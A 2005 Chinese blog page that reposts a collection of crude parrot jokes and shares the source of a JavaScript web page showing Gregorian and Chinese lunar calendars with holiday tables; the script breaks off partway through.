针对有网友说看不见文章内容, 现提示如下: 点击每一个标题行任一地方都会展开和隐藏此文章内容(不要点击标题). 目前展开隐藏功能只支持IE浏览器,虽然可以改成支持FF浏览器,不过现在一直没时间去弄,等有时间再修改了。 |
blog名称:乱闪Blog 日志总数:267 评论数量:1618 留言数量:-26 访问次数:2654729 建立时间:2005年1月1日 |
|

| |
鹦鹉搞笑全集
|
大~傻入境某国时,带了只鹦鹉。海关人员叫住他说:"先生!你这只鹦鹉也得付税金。""应该付多少啊?""活的50美元,如果是标本就只要15美元!"此时听见那只鹦鹉嘶哑的叫着:"大~傻!千万别抠门啊!"
小X特别喜欢鹦鹉。一天他去溜鸟市,发现一只鹦鹉卖3万元。他很好奇,于是就问买主:您的鹦鹉怎么这么贵呀?买主:我这只鹦鹉聪明!什么都会说。小x一听这么聪明就一狠心买下来了。晚上到了家,他特别的高兴。就摆弄这只鹦鹉。小x: 我会走,鹦鹉:我会走,小x:我会跑,鹦鹉:我会跑,小x:我会飞,鹦鹉:你吹牛~B~呢!
小x又去逛鸟市。发现一只鹦鹉标价3元钱。于是他就问卖主:您这只鹦鹉怎么这么便宜呀?卖主:我这只鹦鹉笨!妈的我教了它好长时间了。到现在为止就只会说一句话--"谁呀?"小x一想反正也便宜,于是就买下来了。晚上到了家,他想"我就不信教不会你!",于是小x教了它一夜说别的话。可是到了早晨,那只鹦鹉还是只会说"谁呀?",于是小x一生气,锁上门去上班了。过了一会,来了一个查收煤气费的(简称小z)。小z,"咚咚咚……"(敲门声)鹦鹉:谁呀?小z:查煤气的。鹦鹉:谁呀?小z:查煤气的。鹦鹉:谁呀?小z:查煤气的。到了晚上,小x回来了。看见家门口有个人躺在地上,口吐白沫。小x:呦~!这是谁呀?就听见屋里:查煤气的。
一个人养了一只鹦鹉,非常厉害,和它关在一起的其他鸟都被它打死了。后来主人弄回来一只鹰和它搁在了一块,等主人在来看,笼子外面挂着鹦鹉的毛。主人说:"这回不牛B了吧。"可在仔细一看,是鹰死了,鹦鹉光着个身子说:"这孙子真厉害,不脱光膀子还真打不过YaTing的。 有一位爱鸟人士他特别喜欢鹦鹉,有一天他经过一间鸟店发现里面正在拍卖一只鹦鹉,他看那只鹦鹉毛色很好看决定要买,于是他喊道:"我愿意出10美金买下这只鹦鹉!"接着有人喊价:"我愿意出20元美金!"那位爱鸟人士不愿把那只鹦鹉拱手让人,于是他又喊了30元……可是另一个声音像在跟他作对,一直到那位爱鸟人士叫了200元时才停……那人买到鹦鹉很高兴,可是他突然想到:我花了那么多钱才买到这鹦鹉,如果它不会说话那我不就亏大了吗???于是他就去问老板:"老板……你这只鹦鹉会不会说话啊????"接着他听到鹦鹉大叫:"不会说话?!?!你以为刚刚是谁在跟你喊价啊?!?!"
一个鸟商有三只鹦鹉。一个顾客过来看了看,指着第一只鹦鹉问价。"1000元。"鸟商说。顾客惊奇道:"这么贵?""当然,因为它会使用Windows""那这只呢?"顾客又指着第二只。"2000,因为它会用UNIX""哦,第三只呢?""3000。它会.....?"鸟商耸了下肩,回答:"我也不知道它会什么。"他指着前两只鹦鹉,"可是它们两个管它叫'CEO'。"
一个人走在街上看到一个商人在卖鹦鹉.他看鹦鹉很漂亮就问商人鹦鹉会说话么?商人说:"当然!不信.你握握它右脚",那人依言握了握鹦鹉的右脚,只听鹦鹉很清楚的说道:"你好!你好!"那人很高兴,商人又说:"你再握握它左脚。"那人又依言握了握鹦鹉的左脚,只听鹦鹉很清楚的说道:"再见,再见……"那人更高兴了.马上买下了鹦鹉.回家后喜不自胜.一会儿摸摸鹦鹉的左脚.一会儿摸摸鹦鹉的右脚.鹦鹉也听话的说:再见.你好.突然他突发奇想:我如果一起握住它两只脚,它会说什么呢?他一把握住了鹦鹉的两只脚。只听鹦鹉大声的说道:"TaMaDe!你想撂倒我啊!?"
一个小伙子在生日那天收到礼物,是一只会说话的鹦鹉。可是很快发现这只鹦鹉满嘴脏话,非常粗鲁,而且根本不懂礼貌。他决心改变鹦鹉。每天对它说礼貌用语,教它文雅的词汇,放轻柔的音乐,可是一点用也没有,鹦鹉仍是满嘴下流话。他生气地冲着鹦鹉喊,鹦鹉冲着他喊得更响。一次,他气极了,把鹦鹉扔进冰箱里。几秒种后,他听到鹦鹉在里面扑腾,叫喊,咒骂。突然,安静下来了,一点声儿也没有。半分钟过去了,还是没声。他担心鹦鹉给冻坏了,马上打开冰箱。鹦鹉平静地走出来,乖乖地站到他胳膊上,用非常诚恳的口气说:"很抱歉我惹你生气了,以前是我做得不对,我决定痛改前非,再不说脏话了,请你原谅我。"小伙子惊异于鹦鹉的转变,还没来得及说什么,鹦鹉接着说道:"我能问问里面那只鸡做错了什么吗?"
一天我心血来潮,想去买只会讲话的鸟回来养养,於是逛到一家鸟店去了,一进门就看到一只鹦鹉躺在笼子里,一动也不动,一只脚还挂在笼子上,正好奇想去问问老板时,看到笼子外面贴著一张纸,写著"我没有生病""脚也没有受伤""更不是死掉""我就喜欢这样躺著",於是觉得这只鹦鹉满有个性的,就把它买回家....接著一个礼拜,每天教这只鹦鹉说话....."叫爸爸","叫爸爸",可是它都没有反应,每天只会睡觉,经过两三个礼拜还是一样。这可惹火了我,就把它丢到鸡笼子去泄恨....隔天去看时,只见鹦鹉抓著一只鸡说"叫爸爸","叫爸爸"........
话说某位女士一时兴起,买了一只母鹦鹉。没想到带回家里,它说的第一句话就是:"想跟我上床吗?"女士一听,心想:坏了,外人还以为这话是我教的呢,这不把我的淑女形象全给毁了。于是她想尽办法,想交那只鹦鹉说些高雅的东西,可是那只母鹦鹉算是铁了心,只会说一句话:"想跟我上床吗?"……怎么办呢?在那位女士失去主张的时候,听说神父那里也养了一只鹦鹉(公的),而且那只鹦鹉,不但不讲粗话,反而是个虔诚的教徒,每天大部分时间里都在祷告。于是那位女士去找神父求助。神父明白她的来意之后,面色微难的说:"这个,很难办呀,其实那只鹦鹉,我也并没有刻意的教它什么,它之所以这么虔诚,也可能是长期在此受熏陶的缘故吧。"神父见女士很失落,便说道:"这样吧,你把那只鹦鹉带到我这里来,我把它们放在一起。希望经过一段时间,你那只鹦鹉能够被感化。我只能做这些了,有没有效果,就看神的旨意了……"女士一听,也只能这样了,不是有句话叫:近朱者赤吗?试试吧。于是她把鹦鹉带到神父那里。神父依照诺言把两只鹦鹉放在了一起。开始母鹦鹉还有些拘谨,看那只公鹦鹉在笼子的一角,默默的祷告,还真不忍心打扰。可是她还是管不住自己,终于朗声说道:"想跟我上床吗?"公鹦鹉听到这话,停止了祷告,转身看了看母鹦鹉,忽然泪如雨下:"感谢上帝,我祷告这么多年的愿望终于实现了……"
一位魔术师在一艘小邮轮上工作,已有一两年的时间了。这两年来,他每个晚上有一样的秀场,观众们都喜欢他。不过,因为观众群经常的更换,所以他也就不必要急着学新戏法了。但是,几年下来,坐在后排的鹦鹉经过长期的观察,终于看出了魔术师戏法的破绽,开始当众拆穿魔术师的把戏。举个例子,当魔术师把一束花变不见时,这只鹦鹉会大叫说:"在他的后面!在他的后面!"这可弄得魔术师火冒三丈,可是他也束手无策。鹦鹉是船长的,他动不了它一根寒毛。有一天,这艘船漏水,结果沉了。魔术师设法游到一块飘在水面上的木板,然后抓住木板。这只鹦鹉正站在木板的另一端。他们两个一路大眼瞪小眼的不说一句话。就这样在水上飘流三天。就在第四天早晨,鹦鹉终于忍不住看着魔术师说:"算了,我投降了,你到底把船变到那里去了!"
一只鹦鹉大摇大摆地走进酒吧,飞上吧台。"嘿,伙计!给我来一盘毛毛虫!"鹦鹉嚷道。"我们这里不卖毛毛虫!"侍者有点生气。"什么破酒吧?"鹦鹉骂了一句,一摇一摆地走了。第二天,鹦鹉又来了,跃上吧台。"喂,伙计!快给我来一盘毛毛虫!"鹦鹉仿佛忘了昨天的事。"你是不是不长记性!我们这里不卖毛毛虫!"侍者十分恼火。"到底是不是做生意的?"鹦鹉嘟哝着走了。第三天,鹦鹉照旧来到酒吧,"扑哧"一声窜上吧台。"伙计!来一盘毛毛虫!"鹦鹉依旧老一套。"你要是再敢要毛毛虫,我就把你的嘴壳子钉在这吧台上!"说着侍者挥了挥拳头。"暴脾气!"鹦鹉埋怨了一声,急忙逃走了。 第四天,鹦鹉居然还是来到酒吧。它飞上吧台,"伙计!给我来一盘钉子!",鹦鹉终于改了说法。"滚开!我们这里没有钉子!"侍者骂道。"那么,给我来一盘毛毛虫!"
宠物商店老板新进了一只鹦鹉,挂在商店门口招徕顾客。波莎每天上班都要经过这家宠物商店。一天,波莎路过商店时,鹦鹉突然叫道:"小姐,请等一下!""有什么事吗?"波莎回头好奇地问。你长得可真丑!哈--哈--哈--"鹦鹉乐不可支。"你这只不懂礼貌的鸟!"波莎非常气愤,但回头一想,"算了,不和一只鸟计较。"次日,波莎经过商店时,鹦鹉又向她打招呼:"小姐,请等一下!""这次又有什么事?"波莎瞪着鹦鹉。"你长得可真丑!哈--哈--哈--"鹦鹉笑得全身发抖。波莎非常恼火,但还是极力安慰自己:"波莎,别发火,和一只鸟用不着生那么大气."但是连续被鹦鹉嘲笑了几次之后,波莎终于忍无可忍,她跑到宠物商店,对商店老板怒气冲冲地嚷道:"你要是再不把这只没有教养的破鸟弄走,你就等着上法庭吧!"听到这儿,商店老板十分难堪:"小姐,请您不要太往心里去,这是鸟是刚从一家赌场买来的,所以语言有些粗俗,我这几天也一直在调教它,我向您保证它明天再也不会对您说难听的话了。"说完,商店老板转身对鹦鹉吼道:"如果明天你还敢对这位小姐出言不逊,我就把你炸了吃!听清楚吗?炸了吃!"听到这儿,鹦鹉神气的脑袋一下子耷拉了下来,看到这儿,波莎才平静下来。第二天,想到再也听不到这只破鸟的嘲讽,波莎心情格外轻松。经过商店时,鹦鹉却照旧向波莎打招呼:"小姐,请等一下!"波莎很是惊奇:"小心被炸了吃噢,你还想说什么?""我就是不说,我想你也知道,哈--哈--哈--"鹦鹉大笑。
一位漂亮的女孩养了一只鹦鹉,一天女孩在浴室洗澡,鹦鹉说:“看到了,看到了。”女孩生气地对鹦鹉说:“再叫就拔光你的毛。”第二天一位光头的客人来到家里,鹦鹉偷偷地飞到客人的肩头,悄悄地说:“你也看到了吗?”
有个人买了一只鹦鹉,想教它学会文明用语,于是每天早晨经过它时都说:“早安。”话说这天早上他精神不太好,经过它时什么也没说,鸟儿冷冷地瞪着他说:“喂,你今天怎么啦?”
大李买了一只鹦鹉,刚进家门,就急不可待地逗鸟说话。“你的,讲话?”大李伸着脖子逗。鹦鹉没反应。“你的,讲话的,咪稀咪稀地有。”大李夹起一条虫子引诱。鹦鹉还是没有反应。“你的,不讲话,死啦死啦地!”大李绷着脸威胁。突然,鹦鹉脖子一挺,高喊:“打~倒~日~本~帝~国~主~义~!”
某天傍晚,Cindy下了班回到家,如同往常一样下厨准备晚餐。但是她却发现厨房的水槽排水管好像堵住了,于是她打电话给水电工William,希望他能来帮忙修理。William一口就答应了,他说他会在明天下午过去Cindy家看看。由于是在Cindy的上班时间内,因此Cindy告诉他:“我会把钥匙放在门口的踏脚垫下,你自己进来。我有养一只秋田犬,它很乖,你不用担心。另外,我还养了一只鹦鹉,它是个麻烦的家伙。你进来的时候,不管它跟你说些什。记得!绝对不要和鹦鹉说话。”William听了虽然满腹疑惑,但还是说好。第二天下午,William按时到了Cindy的家中,进了门开始修理厨房的水槽。狗儿很乖,没有叫也没有凶他。鹦鹉则不断聒噪地对他话、大叫。刚开始William记得Cindy的嘱咐而没有理它,但鹦鹉还是不断的大叫。过一会儿William终于忍受不住了,他对着鹦鹉大吼:“Shutup!你这只大笨鸟!”鹦鹉愣了一下,William还以为自己的大吼有了一些效果。接着,只听见鹦鹉模仿Cindy的声音说:“Doggy!去咬他!”然后就只听到厨房传来一阵的惨叫声。
一只鹦鹉很聪明,饭店老板因此用来招揽顾客,每当有客人来用餐的时候,鹦鹉就说:“欢迎光临!”客人走时就说:“谢谢惠顾!”一个客人很好奇,就在门口来回的进出,结果鹦鹉在那不停的说“欢迎光临”“谢谢惠顾”大概二十多次了,那只鹦鹉实在是忍不住了,大声的叫道:“老板!有人玩你的鸟!!!!”
有一个胖子,上了飞机发现同座居然是一只鹦鹉。不过现在都internet时代了,什么稀奇古怪的事情都有,也没觉得奇怪。有点口渴,于是向空中小姐要了一杯水,可是小姐一直都很忙,好长时间没来得及送水。这时旁边的鹦鹉说话了:我X你大爷的!你Y是不是找抽啊!我TM要的XO怎么还没送来!空中小姐立刻颠颠地把XO送来了,还一个劲地赔不是。胖子一看,哦,原来她们吃这套啊。于是也大声嚷嚷起来:X你姥姥的!你Y是不是找扇啊!我TM要的水怎么还没送来!空中小姐也立刻赶来了,不过这次后面跟着两个彪形大汉。俩人一架,把胖子给扔出去了。胖子在半空中怎么也想不明白,自己面子怎么还不如一只鹦鹉?这时舱门一开,鹦鹉也给扔出来了。鹦鹉飞到胖子旁边说:傻X,你Y没翅膀还敢那么牛X?!
有一天小燕子问乌鸦:“你是谁呀?”乌鸦说:“我是天鹅”小燕子说:“天鹅都是白的你怎么是黑的?”乌鸦说:“我是天鹅里面烧锅炉的。”乌鸦问小燕子:“你是谁?”小燕子说“我是老鹰。”乌鸦问:“你怎么这么瘦呀?”小燕子说:“我是老鹰里面抽大烟的。”乌鸦又问鹦鹉:“你是谁?”鹦鹉说:“我是麻雀。”乌鸦问:“麻雀不是五颜六色的。”鹦鹉说:“我是麻雀里面做台的。”乌鸦又问烧鸡:你是谁?”烧鸡说:"我是孔雀。”乌鸦问:“孔雀是有羽毛的呀?”烧鸡说:“我是孔雀里面练fa lun gong自焚的..”
一天下午,有个小偷去偷一户人家,当他翻进这家人家的后院时,忽然有个声音在他耳边响起:“上帝在注意你。”这个小偷吓了一跳,朝四周乱看。可看不见半个人,他以为听错了,就像前走了几步。可是这个声音又响起来了“上帝在注意你”这回更是吓了一大跳,正当他想逃跑时,发现原来是在屋角边的一只鹦鹉。“是只鹦鹉啊,你叫什么名字啊?”小偷觉的很有趣。“我主人叫我旺财”鹦鹉老实的说。“哈!多么愚蠢的名字啊,你的主人怎么会给你取这种名字”“哦,很好笑是吗?那你一定觉得他为他的德国狼狗取名叫上帝更好笑吧。”
有一司机,因常在外奔波,遂养鹦鹉一只,聊以解除旅途疲惫,鹦鹉也不辜负主人厚望,学舌甚快。一日长途途中,车厢中载有母鸡,将鹦鹉置于群鸡之间。时值深夜,甚觉无聊,突然眼前一亮,一美女招手搭车,大喜,遂载之。且行且瞅,甚是高兴,不免生了邪念。想想荒郊野外,美女岂敢不从,大胆开口:“美女,亲一下行不行”?女甚刚烈,曰“不行”。司机又道:“摸一下行不行”,女亦曰“不行”。司机一怒,道,:“不行,下去”?于是将美女撵将下去。继续前行,不久良心和色心尚存,悔之不已,倒转回来,再邀美女,美女应之。司机窃喜,心道:念及我的一片好心,事可成也!行不久,心痒痒不已,停车问美女:“美女,亲一下行不行”?女拒之,曰:“不行”又问:“摸一下行不行”,女奋而答之“不行”?司机甚怒道:“不行,下去”又撵将下去。如此反反复复,司机终未得逞,眼看终点将至,司机想,再不行,就没有机会了。又问美女,“美女,亲一下行不行”,女依然:“不行”?“那摸一下行不行”,女还是“不行”,司机甚怒,说道“不行,下去”撵之,不复管之。及至终点,oh,my?god,一车的鸡怎么都不见了,正纳闷时,突见鹦鹉抓着最后一只母鸡,问道:“美女,亲一下行不行”?,母鸡摇头。鹦鹉又道:“那摸一下行不行?”,母鸡亦摇头,鹦鹉回道:“不行,下去”,将母鸡扔将下车。
|
文章收藏 乱闪 发表于 2005/2/21 18:52:56 |
| |
萬年厲
|
點擊下面[运行代码]按扭運行以下代码,如果看不到月厉請刷新一次点击[运行代码]打開的網頁: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0103)file://C:\Documents%20and%20Settings\KenFu\Local%20Settings\Temporary%20Internet%20Files\OLK6D\月曆.htm -->
<!-- saved from url=(0049)http://joke.maillist.com.tw/files/08/00080501.htm --><!-- saved from url=(0022)http://internet.e-mail --><HTML><HEAD><TITLE>月曆</TITLE><!-- ********************************************
1900-2050年國曆與農曆之月曆程式 (IE版)
版權所有(c), 任何形式之引用或轉載前請來信告知!!
歡迎來信互相討論研究與指正誤謬。
林洵賢(Sean Lin) sean@4u.net
*************************************************
程式最後修正:
2000-8-4
- 修正不同語系的 Windows 造成農曆無法計算
(此錯誤為微軟 Bug, 感謝 Stanley Tsai 協助測試)
- 統一日期時間格式為控制台的國別語系所設定之設格式
2000-8-1
- 修正某些時區日光節約時間自動調整
- 修正選擇時區畫面跳動問題
- 新增時區移至地圖中央
- 新增詳細日期資料透明及陰影呈現
2000-7-23
- 月曆全部改為 Javascript 重寫
- 修正若國曆同月跨三個農曆月,節日排錯問題
- 新增顯示詳細日期資料
- 修正亞歷桑那州不需日光節約時間問題
************************************************** -->
<META
content="農曆; 陽曆; 月曆; 節日; 時區; 節氣; 八字; 干支; 生肖; gregorian solar; chinese lunar; calendar;"
name=keywords>
<META content=All name=robots>
<META content="gregorian solar calendar and chinese lunar calendar"
name=description>
<META http-equiv=Content-Type content="text/html; charset=big5">
<script>window.moveTo(0,0)</script>
<SCRIPT language=JavaScript>
<!--
/*****************************************************************************
日期資料
*****************************************************************************/
var lunarInfo=new Array(
0x04bd8,0x04ae0,0x0a570,0x054d5,0x0d260,0x0d950,0x16554,0x056a0,0x09ad0,0x055d2,
0x04ae0,0x0a5b6,0x0a4d0,0x0d250,0x1d255,0x0b540,0x0d6a0,0x0ada2,0x095b0,0x14977,
0x04970,0x0a4b0,0x0b4b5,0x06a50,0x06d40,0x1ab54,0x02b60,0x09570,0x052f2,0x04970,
0x06566,0x0d4a0,0x0ea50,0x06e95,0x05ad0,0x02b60,0x186e3,0x092e0,0x1c8d7,0x0c950,
0x0d4a0,0x1d8a6,0x0b550,0x056a0,0x1a5b4,0x025d0,0x092d0,0x0d2b2,0x0a950,0x0b557,
0x06ca0,0x0b550,0x15355,0x04da0,0x0a5d0,0x14573,0x052d0,0x0a9a8,0x0e950,0x06aa0,
0x0aea6,0x0ab50,0x04b60,0x0aae4,0x0a570,0x05260,0x0f263,0x0d950,0x05b57,0x056a0,
0x096d0,0x04dd5,0x04ad0,0x0a4d0,0x0d4d4,0x0d250,0x0d558,0x0b540,0x0b5a0,0x195a6,
0x095b0,0x049b0,0x0a974,0x0a4b0,0x0b27a,0x06a50,0x06d40,0x0af46,0x0ab60,0x09570,
0x04af5,0x04970,0x064b0,0x074a3,0x0ea50,0x06b58,0x055c0,0x0ab60,0x096d5,0x092e0,
0x0c960,0x0d954,0x0d4a0,0x0da50,0x07552,0x056a0,0x0abb7,0x025d0,0x092d0,0x0cab5,
0x0a950,0x0b4a0,0x0baa4,0x0ad50,0x055d9,0x04ba0,0x0a5b0,0x15176,0x052b0,0x0a930,
0x07954,0x06aa0,0x0ad50,0x05b52,0x04b60,0x0a6e6,0x0a4e0,0x0d260,0x0ea65,0x0d530,
0x05aa0,0x076a3,0x096d0,0x04bd7,0x04ad0,0x0a4d0,0x1d0b6,0x0d250,0x0d520,0x0dd45,
0x0b5a0,0x056d0,0x055b2,0x049b0,0x0a577,0x0a4b0,0x0aa50,0x1b255,0x06d20,0x0ada0,
0x14b63);
var solarMonth=new Array(31,28,31,30,31,30,31,31,30,31,30,31);
var Gan=new Array("甲","乙","丙","丁","戊","己","庚","辛","壬","癸");
var Zhi=new Array("子","丑","寅","卯","辰","巳","午","未","申","酉","戌","亥");
var Animals=new Array("鼠","牛","虎","兔","龍","蛇","馬","羊","猴","雞","狗","豬");
var solarTerm = new Array("小寒","大寒","立春","雨水","驚蟄","春分","清明","穀雨","立夏","小滿","芒種","夏至","小暑","大暑","立秋","處暑","白露","秋分","寒露","霜降","立冬","小雪","大雪","冬至");
var sTermInfo = new Array(0,21208,42467,63836,85337,107014,128867,150921,173149,195551,218072,240693,263343,285989,308563,331033,353350,375494,397447,419210,440795,462224,483532,504758);
var nStr1 = new Array('日','一','二','三','四','五','六','七','八','九','十');
var nStr2 = new Array('初','十','廿','卅','卌');
var monthName = new Array("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
//國曆節日 *表示放假日
var sFtv = new Array(
"0101*元旦",
"0115 藥師節",
"0123 自由日",
"0204 農民節",
"0214 情人節",
"0215 戲劇節",
"0228*和平紀念日",
"0308 婦女節",
"0312 植樹節",
"0320 郵政節",
"0325 美術節",
"0329 青年節 革命先烈紀念日",
"0401 愚人節 主計節",
"0404 婦幼節",
"0405 音樂節",
"0501 勞動節",
"0504 文藝節",
"0505 舞蹈節",
"0512 護士節",
"0603 禁煙節",
"0614 Flag Day",
"0701 Canada Day",
"0704 Independence Day",
"0711 航海節",
"0808 父親節",
"0827 鄭成功\誕辰",
"0901 記者節",
"0903 抗戰紀念",
"0913 法律日",
"0910 教師節 孔子誕辰",
"1006 老人節",
"1001*國慶紀念日",
"1021 華僑節",
"1024 聯合國日",
"1101 商人節",
"1111 工業節 地政節 Veteran's / Remembrance Day",
"1205 海員節",
"1210 人權節",
"1225 Christmas Day",
"1226 Boxing Day",
"1227 建築師節");
//農曆節日 *表示放假日
var lFtv = new Array(
"0101*春節",
"0102*回娘家",
"0103*祭祖",
"0104 迎神",
"0105 開市",
"0106 清水祖師誕辰 ",
"0109 天公生 (玉皇大帝誕辰)",
"0115 元宵節 觀光節 炬光節 門神千秋",
"0202 頭牙 土地公生 (福德正神誕辰)",
"0203 文昌帝君誕辰",
"0219 觀世音菩薩誕辰",
"0303 玄天上帝誕辰",
"0315 保生大帝誕辰",
"0323 媽祖生 (天上聖母誕辰)",
"0408 浴彿節 (佛祖聖誕)",
"0505*端午節 詩人節",
"0619 觀世音菩薩得道",
"0701 開鬼門",
"0707 七夕情人節 七娘媽生 (七星娘娘誕辰)",
"0715 中元節",
"0718 瑤池金母誕辰",
"0800 關鬼門",
"0815*中秋節",
"0909 重陽節",
"1003 助順將軍誕辰",
"1005 達摩祖師誕辰",
"1208 臘八節",
"1216 尾牙",
"1224 送神",
"0100*除夕");
//某月的第幾個星期幾
var wFtv = new Array(
"0131 Martin Luther King Day",
"0231 President's Day",
"0520 母親節",
"0530 Armed Forces Day",
"0531 Victoria Day",
"0716 合作節",
"0730 被奴役國家週",
"0811 Civic Holiday",
"0911 Labor Holiday",
"1021 Columbus Day",
"1144 Thanksgiving");
/*****************************************************************************
日期計算
*****************************************************************************/
//====================================== 傳回農曆 y年的總天數
function lYearDays(y) {
var i, sum = 348;
for(i=0x8000; i>0x8; i>>=1) sum += (lunarInfo[y-1900] & i)? 1: 0;
return(sum+leapDays(y));
}
//====================================== 傳回農曆 y年閏月的天數
function leapDays(y) {
if(leapMonth(y)) return((lunarInfo[y-1900] & 0x10000)? 30: 29);
else return(0);
}
//====================================== 傳回農曆 y年閏哪個月 1-12 , 沒閏傳回 0
function leapMonth(y) {
return(lunarInfo[y-1900] & 0xf);
}
//====================================== 傳回農曆 y年m月的總天數
function monthDays(y,m) {
return( (lunarInfo[y-1900] & (0x10000>>m))? 30: 29 );
}
//====================================== 算出農曆, 傳入日期物件, 傳回農曆日期物件
// 該物件屬性有 .year .month .day .isLeap .yearCyl .dayCyl .monCyl
function Lunar(objDate) {
var i, leap=0, temp=0;
var offset = (Date.UTC(objDate.getFullYear(),objDate.getMonth(),objDate.getDate()) - Date.UTC(1900,0,31))/86400000;
this.dayCyl = offset + 40;
this.monCyl = 14;
for(i=1900; i<2050 && offset>0; i++) {
temp = lYearDays(i);
offset -= temp;
this.monCyl += 12;
}
if(offset<0) {
offset += temp;
i--;
this.monCyl -= 12;
}
this.year = i;
this.yearCyl = i-1864;
leap = leapMonth(i); //閏哪個月
this.isLeap = false;
for(i=1; i<13 && offset>0; i++) {
//閏月
if(leap>0 && i==(leap+1) && this.isLeap==false)
{ --i; this.isLeap = true; temp = leapDays(this.year); }
else
{ temp = monthDays(this.year, i); }
//解除閏月
if(this.isLeap==true && i==(leap+1)) this.isLeap = false;
offset -= temp;
if(this.isLeap == false) this.monCyl ++;
}
if(offset==0 && leap>0 && i==leap+1)
if(this.isLeap)
{ this.isLeap = false; }
else
{ this.isLeap = true; --i; --this.monCyl;}
if(offset<0){ offset += temp; --i; --this.monCyl; }
this.month = i;
this.day = offset + 1;
}
//==============================傳回國曆 y年某m+1月的天數
function solarDays(y,m) {
if(m==1)
return(((y%4 == 0) && (y%100 != 0) || (y%400 == 0))? 29: 28);
else
return(solarMonth[m]);
}
//============================== 傳入 offset 傳回干支, 0=甲子
function cyclical(num) {
return(Gan[num%10]+Zhi[num%12]);
}
//============================== 月曆屬性
function calElement(sYear,sMonth,sDay,week,lYear,lMonth,lDay,isLeap,cYear,cMonth,cDay) {
this.isToday = false;
//國曆
this.sYear = sYear;
this.sMonth = sMonth;
this.sDay = sDay;
this.week = week;
//農曆
this.lYear = lYear;
this.lMonth = lMonth;
this.lDay = lDay;
this.isLeap = isLeap;
//干支
this.cYear = cYear;
this.cMonth = cMonth;
this.cDay = cDay;
this.color = '';
this.lunarFestival = ''; //農曆節日
this.solarFestival = ''; //國曆節日
this.solarTerms = ''; //節氣
}
//===== 某年的第n個節氣為幾日(從0小寒起算)
function sTerm(y,n) {
var offDate = new Date( ( 31556925974.7*(y-1900) + sTermInfo[n]*60000 ) + Date.UTC(1900,0,6,2,5) );
return(offDate.getUTCDate());
}
//============================== 傳回月曆物件 (y年,m+1月)
function calendar(y,m) {
var sDObj, lDObj, lY, lM, lD=1, lL, lX=0, tmp1, tmp2;
var lDPOS = new Array(3);
var n = 0;
var firstLM = 0;
sDObj = new Date(y,m,1,0,0,0,0); //當月一日日期
this.length = solarDays(y,m); //國曆當月天數
this.firstWeek = sDObj.getDay(); //國曆當月1日星期幾
for(var i=0;i<this.length;i++) {
if(lD>lX) {
sDObj = new Date(y,m,i+1); //當月一日日期
lDObj = new Lunar(sDObj); //農曆
lY = lDObj.year; //農曆年
lM = lDObj.month; //農曆月
lD = lDObj.day; //農曆日
lL = lDObj.isLeap; //農曆是否閏月
lX = lL? leapDays(lY): monthDays(lY,lM); //農曆當月最後一天
if(n==0) firstLM = lM;
lDPOS[n++] = i-lD+1;
}
//sYear,sMonth,sDay,week,
//lYear,lMonth,lDay,isLeap,
//cYear,cMonth,cDay
this[i] = new calElement(y, m+1, i+1, nStr1[(i+this.firstWeek)%7],
lY, lM, lD++, lL,
cyclical(lDObj.yearCyl) ,cyclical(lDObj.monCyl), cyclical(lDObj.dayCyl++) );
if((i+this.firstWeek)%7==0) this[i].color = 'red'; //週日顏色
if((i+this.firstWeek)%14==13) this[i].color = 'red'; //週休二日顏色
}
//節氣
tmp1=sTerm(y,m*2 )-1;
tmp2=sTerm(y,m*2+1)-1;
this[tmp1].solarTerms = solarTerm[m*2];
this[tmp2].solarTerms = solarTerm[m*2+1];
if(m==3) this[tmp1].color = 'red'; //清明顏色
//國曆節日
for(i in sFtv)
if(sFtv[i].match(/^(\d{2})(\d{2})([\s\*])(.+)$/))
if(Number(RegExp.$1)==(m+1)) {
this[Number(RegExp.$2)-1].solarFestival += RegExp.$4 + ' ';
if(RegExp.$3=='*') this[Number(RegExp.$2)-1].color = 'red';
}
//月週節日
for(i in wFtv)
if(wFtv[i].match(/^(\d{2})(\d)(\d)([\s\*])(.+)$/))
if(Number(RegExp.$1)==(m+1)) {
tmp1=Number(RegExp.$2);
tmp2=Number(RegExp.$3);
this[((this.firstWeek>tmp2)?7:0) + 7*(tmp1-1) + tmp2 - this.firstWeek].solarFestival += RegExp.$5 + ' ';
}
//農曆節日
for(i in lFtv)
if(lFtv[i].match(/^(\d{2})(.{2})([\s\*])(.+)$/)) {
tmp1=Number(RegExp.$1)-firstLM;
if(tmp1==-11) tmp1=1;
if(tmp1 >=0 && tmp1<n) {
tmp2 = lDPOS[tmp1] + Number(RegExp.$2) -1;
if( tmp2 >= 0 && tmp2<this.length) {
this[tmp2].lunarFestival += RegExp.$4 + ' ';
if(RegExp.$3=='*') this[tmp2].color = 'red';
}
}
}
if(m==2) this[20].solarFestival = this[20].solarFestival+unescape('%20%u6D35%u8CE2%u751F%u65E5');
//黑色星期五
if((this.firstWeek+12)%7==5)
this[12].solarFestival += '黑色星期五 ';
//今日
if(y==tY && m==tM) this[tD-1].isToday = true;
}
//====================== 中文日期
function cDay(d){
var s;
switch (d) {
case 10:
s = '初十'; break;
case 20:
s = '二十'; break;
break;
case 30:
s = '三十'; break;
break;
default :
s = nStr2[Math.floor(d/10)];
s += nStr1[d%10];
}
return(s);
}
///////////////////////////////////////////////////////////////////////////////
var cld;
function drawCld(SY,SM) {
var i,sD,s,size;
cld = new calendar(SY,SM);
if(SY>1874 && SY<1909) yDisplay = '光緒' + (((SY-1874)==1)?'元':SY-1874);
if(SY>1908 && SY<1912) yDisplay = '宣統' + (((SY-1908)==1)?'元':SY-1908);
if(SY>1949) yDisplay = '建國' + (((SY-1949)==1)?'元':SY-1949);
GZ.innerHTML = yDisplay +'年 --- 農曆歲次' + cyclical(SY-1900+36) + '年 【'+Animals[(SY-4)%12]+'】';
YMBG.innerHTML = " " + SY + "<BR> " + monthName[SM];
for(i=0;i<42;i++) {
sObj=eval('SD'+ i);
lObj=eval('LD'+ i);
sObj.className = '';
sD = i - cld.firstWeek;
if(sD>-1 && sD<cld.length) { //日期內
sObj.innerHTML = sD+1;
if(cld[sD].isToday) sObj.className = 'todyaColor'; //今日顏色
sObj.style.color = cld[sD].color; //國定假日顏色
if(cld[sD].lDay==1) //顯示農曆月
lObj.innerHTML = '<b>'+(cld[sD].isLeap?'閏':'') + cld[sD].lMonth + '月' + (monthDays(cld[sD].lYear,cld[sD].lMonth)==29?'小':'大')+'</b>';
else //顯示農曆日
lObj.innerHTML = cDay(cld[sD].lDay);
